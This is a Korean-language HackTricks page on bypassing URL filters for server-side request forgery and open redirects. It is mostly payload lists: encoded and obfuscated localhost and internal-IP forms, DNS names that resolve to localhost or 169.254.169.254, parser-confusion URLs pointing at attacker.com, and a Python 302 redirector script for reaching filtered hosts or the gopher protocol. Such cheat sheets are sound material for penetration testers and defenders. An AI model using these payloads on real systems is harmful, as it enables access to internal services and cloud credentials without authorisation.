# URL 형식 우회
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{% embed url="https://discord.gg/tryhardsecurity" %} *** ### Localhost ```bash # Localhost http://127.0.0.1:80 http://127.0.0.1:443 http://127.0.0.1:22 http://127.1:80 http://127.000000000000000.1 http://0 http:@0/ --> http://localhost/ http://0.0.0.0:80 http://localhost:80 http://[::]:80/ http://[::]:25/ SMTP http://[::]:3128/ Squid http://[0000::1]:80/ http://[0:0:0:0:0:ffff:127.0.0.1]/thefile http://①②⑦.⓪.⓪.⓪ # CDIR bypass http://127.127.127.127 http://127.0.1.3 http://127.0.0.0 # Dot bypass 127。0。0。1 127%E3%80%820%E3%80%820%E3%80%821 # Decimal bypass http://2130706433/ = http://127.0.0.1 http://3232235521/ = http://192.168.0.1 http://3232235777/ = http://192.168.1.1 # Octal Bypass http://0177.0000.0000.0001 http://00000177.00000000.00000000.00000001 http://017700000001 # Hexadecimal bypass 127.0.0.1 = 0x7f 00 00 01 http://0x7f000001/ = http://127.0.0.1 http://0xc0a80014/ = http://192.168.0.20 0x7f.0x00.0x00.0x01 0x0000007f.0x00000000.0x00000000.0x00000001 # Add 0s bypass 127.000000000000.1 # You can also mix different encoding formats # https://www.silisoftware.com/tools/ipconverter.php # Malformed and rare localhost:+11211aaa localhost:00011211aaaa http://0/ http://127.1 http://127.0.1 # DNS to localhost localtest.me = 127.0.0.1 customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1 mail.ebc.apple.com = 127.0.0.6 (localhost) 127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP) www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com http://customer1.app.localhost.my.company.127.0.0.1.nip.io http://bugbounty.dod.network = 127.0.0.2 (localhost) 1ynrnhl.xip.io == 169.254.169.254 spoofed.burpcollaborator.net = 127.0.0.1 ``` ![](<../../.gitbook/assets/image (649) (1) (1).png>) **Burp 확장 프로그램** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP)은 IP 형식 바이패스를 구현합니다. ### 도메인 구문 분석기 ```bash https:attacker.com https:/attacker.com http:/\/\attacker.com https:/\attacker.com //attacker.com \/\/attacker.com/ /\/attacker.com/ /attacker.com %0D%0A/attacker.com #attacker.com #%20@attacker.com @attacker.com http://169.254.1698.254\@attacker.com attacker%00.com attacker%E3%80%82com attacker。com ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ ``` ``` ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿ ``` ### 도메인 혼동 ```bash # Try also to change attacker.com for 127.0.0.1 to try to access localhost # Try replacing https by http # Try URL-encoded characters https://{domain}@attacker.com https://{domain}.attacker.com https://{domain}%6D@attacker.com https://attacker.com/{domain} https://attacker.com/?d={domain} https://attacker.com#{domain} https://attacker.com@{domain} https://attacker.com#@{domain} https://attacker.com%23@{domain} https://attacker.com%00{domain} https://attacker.com%0A{domain} https://attacker.com?{domain} https://attacker.com///{domain} https://attacker.com\{domain}/ https://attacker.com;https://{domain} https://attacker.com\{domain}/ https://attacker.com\.{domain} https://attacker.com/.{domain} https://attacker.com\@@{domain} https://attacker.com:\@@{domain} https://attacker.com#\@{domain} https://attacker.com\anything@{domain}/ https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com # On each IP position try to put 1 attackers domain and the others the victim domain http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ #Parameter pollution next={domain}&next=attacker.com ``` ### 경로 및 확장자 우회 만약 URL이 반드시 경로나 확장자로 끝나야 하거나 경로를 포함해야 하는 경우, 다음 우회 방법 중 하나를 시도해 볼 수 있습니다: ``` https://metadata/vulerable/path#/expected/path https://metadata/vulerable/path#.extension https://metadata/expected/path/..%2f..%2f/vulnerable/path ``` ### Fuzzing 도구 [**recollapse**](https://github.com/0xacb/recollapse)은 주어진 입력에서 변형을 생성하여 사용된 정규식을 우회하려고 시도할 수 있습니다. 자세한 정보는 [**이 게시물**](https://0xacb.com/2022/11/21/recollapse/)을 확인하십시오. ### 리디렉션을 통한 우회 서버가 SSRF의 **원본 요청을 필터링하지만** 해당 요청에 대한 **리디렉션** 응답은 필터링하지 않을 수 있습니다.\ 예를 들어, `url=https://www.google.com/`를 통해 SSRF에 취약한 서버가 **url 매개변수를 필터링**할 수 있습니다. 그러나 [python 서버를 사용하여 302로 응답](https://pastebin.com/raw/ywAUhFrv)하고자 하는 리디렉션 위치로 이동하면 127.0.0.1과 같은 필터링된 IP 주소 또는 gopher와 같은 필터링된 **프로토콜**에 **액세스**할 수 있습니다.\ [이 보고서를 확인하십시오.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530) ```python #!/usr/bin/env python3 #python3 ./redirector.py 8000 http://127.0.0.1/ import sys from http.server import HTTPServer, BaseHTTPRequestHandler if len(sys.argv)-1 != 2: print("Usage: {} ".format(sys.argv[0])) sys.exit() class Redirect(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header('Location', sys.argv[2]) self.end_headers() HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever() ``` ## 설명된 트릭 ### 백슬래시 트릭 _백슬래시 트릭_은 [WHATWG URL 표준](https://url.spec.whatwg.org/#url-parsing)과 [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) 사이의 차이점을 이용합니다. RFC3986은 URI에 대한 일반적인 프레임워크이며, WHATWG는 웹 URL에 특화되어 있으며 현대 브라우저에서 채택되었습니다. 핵심 차이점은 WHATWG 표준이 백슬래시(`\`)를 슬래시(`/`)와 동등하게 인식하는 것에 있으며, 특히 URL에서 호스트 이름에서 경로로의 전환을 표시하는 방식에 영향을 줍니다. ![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg) ### 다른 혼란 ![https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](<../../.gitbook/assets/image (629).png>) 이미지 출처: [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/) ## 참고 자료 * [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25) * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md) **Try Hard Security Group**
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제로부터 영웅이 될 때까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team Expert)! HackTricks를 지원하는 다른 방법: * **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 구입하세요 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** * **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요.**